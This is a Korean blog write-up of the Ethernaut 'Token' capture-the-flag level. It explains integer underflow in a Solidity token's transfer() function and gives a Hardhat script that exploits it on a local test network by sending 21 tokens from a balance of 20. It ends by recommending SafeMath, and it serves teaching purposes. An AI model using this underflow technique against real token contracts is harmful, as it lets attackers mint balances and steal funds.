Posted on

Table of Contents


My Solutions: github


TL;DR

Under/Overflow 문제입니다.

main image

Introduction

프로그램 상에서 연산을 할 때 Integer Under/Overflow는 잘 알려진 산술 에러입니다. Solidity언어에서도 이 에러는 여전히 존재합니다. Token 컨트랙트는 이러한 문제점을 잘 보여줍니다.


Problem Detail

Goal

문제 목표를 확인하기 위해 TokenFactory 컨트랙트의 validateInstance() 함수를 살펴보면 아래와 같습니다.

validateInstance

playerSupplyToken컨트랙트가 배포 될 때, msg.sender에게 부여되는 초기값입니다. 즉, player가 처음에 받은 값보다 더 많은 값을 갖게 되면 성공합니다.

Contract

스마트 컨트랙트를 살펴보면 아래와 같습니다.

validateInstance

함수 transfer()를 자세히 보면, mapping balances에 연산을 할 때 문제가 생길 수 있음을 알 수 있습니다.


Exploit

본격적으로 exploit을 진행하기 전에 uint == uint256에 관해 짧게 짚고 넘어가겠습니다. uint256256-bit크기의 정보를 unsigned integer 로 표현하는 자료형입니다. 따라서, 아래와 같이 최솟값최댓값을 가짐을 알 수 있습니다.

최소값: $0$

최대값: $2^{256} - 1 \approx 1.15792 \times 10^{79}$

Strategy

초기 값은 balances[player] == 20 이므로, value == 21로 하여 Underflow 를 일으켜서 문제를 해결할 수 있습니다.

Code

아래는 Hardhat을 이용하여 실행한 token.js 입니다. 코드 실행 환경은 레포를 확인해주시기 바랍니다.

const { ethers } = require('hardhat');

async function main() {
  const [owner, player] = await ethers.getSigners();

  console.log("\n[0] original owner: ", owner.address);
  console.log("[0] player: ", player.address);

  console.log("\n[1] deploy TokenFactory");
  const Factory = await ethers.getContractFactory("TokenFactory");
  const factory = await Factory.connect(owner).deploy();
  await factory.deployed();
  console.log("---- TokenFactory address: ", factory.address);

  console.log("\n[2] create a Token instance");
  const receipt = await factory.connect(player).createInstance(player.address);
  const instance_address = (await receipt.wait()).events[0].args[0];
  const token = await ethers.getContractAt("Token", instance_address, owner);
  console.log("---- factory balance:   ", (await token.balanceOf(factory.address)).toString());
  console.log("---- owner balance:     ", (await token.balanceOf(owner.address)).toString());
  console.log("---- player balance:    ", (await token.balanceOf(player.address)).toString());

  console.log("\n[3] invoke Underflow");
  await token.connect(player).transfer(owner.address, 21);
  console.log("---- factory balance:   ", (await token.balanceOf(factory.address)).toString());
  console.log("---- owner balance:     ", (await token.balanceOf(owner.address)).toString());
  console.log("---- player balance:    ", (await token.balanceOf(player.address)).toString());

  console.log("\n[4] validate solved");
  const res = await factory.validateInstance(token.address, player.address);

  if ((await res.wait()).events[0].args[0] == true) {
    console.log("[+] Done!");
  } else {
    console.log("[+] Fail...");
  }
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});


Result

실행 화면은 아래와 같습니다.

result

player 는 초기에 20만큼의 토큰을 갖고 있었고, transfer()함수를 이용해 21만큼의 토큰을 owenr에게 보내고자 했습니다. Underflow 가 발생하 여require() 문에 의한 검증도 우회하게 되었으며, playeruint의 최대값을 가짐으로써 손쉽게 문제를 해결했습니다.


Conclusion

Solidity 상에서 연산을 하는 경우, 충분히 주의를 기울이지 않는다면 위와 같은 에러가 발생할 수 있습니다. Under/Overflow 와 같은 arithmetic error에 대응할 수 있도록, ethernaut을 제작한 openzepplin에서 SafeMath라는 모듈을 제공하기도 합니다. 따라서 이러한 모듈을 적극적으로 활용하는 것이 도움이 될 수 있습니다.